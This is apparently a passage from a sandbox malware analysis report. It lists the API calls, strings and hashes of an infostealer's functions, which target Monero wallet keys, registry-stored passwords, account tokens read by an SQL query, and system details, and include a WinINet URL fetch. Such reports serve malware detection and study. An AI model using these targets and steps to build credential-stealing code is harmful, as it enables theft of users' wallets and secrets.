Part of subcall function 002812A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 002812F5
Part of subcall function 002812A0: RegCloseKey.ADVAPI32(?), ref: 002812FF

lstrcat.KERNEL32(?,00000000), ref: 0028134F
lstrlen.KERNEL32(?), ref: 0028135C
lstrcat.KERNEL32(?,.keys), ref: 00281377

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 00298B60: GetSystemTime.KERNEL32(002A0E1A,00E49FA8,002A05AE,?,?,002813F9,?,0000001A,002A0E1A,00000000,?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 00298B86

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00281465

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Part of subcall function 002899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002899EC
Part of subcall function 002899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00289A11
Part of subcall function 002899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00289A31
Part of subcall function 002899C0: ReadFile.KERNEL32(000000FF,?,00000000,0028148F,00000000), ref: 00289A5A
Part of subcall function 002899C0: LocalFree.KERNEL32(0028148F), ref: 00289A90
Part of subcall function 002899C0: CloseHandle.KERNEL32(000000FF), ref: 00289A9A

DeleteFileA.KERNEL32(00000000), ref: 002814EF

Strings

wallet_path, xrefs: 00281330
\Monero\wallet.keys, xrefs: 0028138D
SOFTWARE\monero-project\monero-core, xrefs: 00281335
.keys, xrefs: 0028136B

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: fcdda32ca8074bb64066a818502cc6c953d140dcbc55054597173277506b08e1
Instruction ID: 2d64fc61c35f97c2cffa93c6fd5487e9f49e60a9d6dfd3bbeaf775dc5c51180b
Opcode Fuzzy Hash: fcdda32ca8074bb64066a818502cc6c953d140dcbc55054597173277506b08e1
Instruction Fuzzy Hash: 2B5144B1D6021957CB15FB60DD92FED737CAF54300F4041A8B60AA2081EE305BA9CFA6

Function 00297500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00297542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0029757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00297603
RtlAllocateHeap.NTDLL(00000000), ref: 0029760A
wsprintfA.USER32 ref: 00297640

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Strings

:, xrefs: 0029755C
*, xrefs: 0029764D, 00297655, 0029761B, 00297623
C, xrefs: 0029754C
\, xrefs: 00297560

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$*
API String ID: 1544550907-1234780745
Opcode ID: 92a4a51155d5d882dad10c66f90364a9d3647acf9c265f10c09b980e2092f4a4
Instruction ID: 31177232971b6aa08e3280c4d4211895adcdeba4628de774bc49049caea5237d
Opcode Fuzzy Hash: 92a4a51155d5d882dad10c66f90364a9d3647acf9c265f10c09b980e2092f4a4
Instruction Fuzzy Hash: 93418FB1D24248ABDF10DFA4DC45FEEBBB8AF08704F140199F509A7280DB74AA54CFA5

Function 002875D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002872D0: memset.MSVCRT ref: 00287314
Part of subcall function 002872D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0028733A
Part of subcall function 002872D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 002873B1
Part of subcall function 002872D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0028740D
Part of subcall function 002872D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00287452
Part of subcall function 002872D0: HeapFree.KERNEL32(00000000), ref: 00287459

lstrcat.KERNEL32(355A3020,002A17FC), ref: 00287606
lstrcat.KERNEL32(355A3020,00000000), ref: 00287648
lstrcat.KERNEL32(355A3020, : ), ref: 0028765A
lstrcat.KERNEL32(355A3020,00000000), ref: 0028768F
lstrcat.KERNEL32(355A3020,002A1804), ref: 002876A0
lstrcat.KERNEL32(355A3020,00000000), ref: 002876D3
lstrcat.KERNEL32(355A3020,002A1808), ref: 002876ED
task.LIBCPMTD ref: 002876FB

Strings

: , xrefs: 0028764E

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 1568e062f3c727dbb32eae990ae7c388594198f32d919ca48f398a3362527f28
Instruction ID: 10ade190f9948f9afce918e99f7851d226e48d2f32a436fe1f2d1e5e1b78dcb6
Opcode Fuzzy Hash: 1568e062f3c727dbb32eae990ae7c388594198f32d919ca48f398a3362527f28
Instruction Fuzzy Hash: 79315A75E21109DFCB44FBA4DC89DFE7779BB44305B244128F102A7290DE34A966CF66

Function 002872D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00287314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0028733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 002873B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0028740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00287452
HeapFree.KERNEL32(00000000), ref: 00287459
task.LIBCPMTD ref: 00287555

Strings

Password, xrefs: 00287401

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 49b967254ca63573fd8a28776c9523a8cbe01a09a9acb8ff7ce17dc61235d567
Instruction ID: dcbe8a3b3dc49d89487625eaac08c319e33688cc64693ca1a8818c680e98ae77
Opcode Fuzzy Hash: 49b967254ca63573fd8a28776c9523a8cbe01a09a9acb8ff7ce17dc61235d567
Instruction Fuzzy Hash: 5B613CB98211589BDB24EF50CC45BDAB7B8BF44304F1081E9E649A6181DFB09BD9CFA1

Function 00298100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00E4D800,00000000,?,002A0E2C,00000000,?,00000000), ref: 00298130
RtlAllocateHeap.NTDLL(00000000), ref: 00298137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00298158
__aulldiv.LIBCMT ref: 00298172
__aulldiv.LIBCMT ref: 00298180
wsprintfA.USER32 ref: 002981AC

Strings

%d MB, xrefs: 002981A3
@, xrefs: 0029814D

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: e63bf0f8827d08b0ba2e82482156f8d2cb03ec0d3ff6bcd1c3ee805a0d9bc096
Instruction ID: 5f75730defe3384627fbf736b272f6b1063b9b064d42a0c752208e1488750050
Opcode Fuzzy Hash: e63bf0f8827d08b0ba2e82482156f8d2cb03ec0d3ff6bcd1c3ee805a0d9bc096
Instruction Fuzzy Hash: 18215EB1E54208ABDF00DFD4CD49FAEB7B8FB49B04F104519F605BB280D77859118BA9

Function 0028BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

lstrlen.KERNEL32(00000000), ref: 0028BC9F

Part of subcall function 00298E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00298E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0028BCCD
lstrlen.KERNEL32(00000000), ref: 0028BDA5
lstrlen.KERNEL32(00000000), ref: 0028BDB9

Strings

AccountTokens, xrefs: 0028BABA
AccountTokens, xrefs: 0028BB49
AccountId, xrefs: 0028BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0028BBEB

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 4f9e0202aa63be9c6eae2282997aa72a6308fb7fefc6fba5fb4da242cc8ad3da
Instruction ID: 02d085155454105bd20fe3219be6824327eb897f5ee295d1081d590373bf2d49
Opcode Fuzzy Hash: 4f9e0202aa63be9c6eae2282997aa72a6308fb7fefc6fba5fb4da242cc8ad3da
Instruction Fuzzy Hash: C2B12C75930218ABDF04FBA0DD96EEE7378BF54304F404168F506A6091EF346A69CFA6

Function 00284FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00284FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00284FD1
InternetOpenA.WININET(002A0DDF,00000000,00000000,00000000,00000000), ref: 00284FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00285011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00285041
InternetCloseHandle.WININET(?), ref: 002850B9
InternetCloseHandle.WININET(?), ref: 002850C6

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
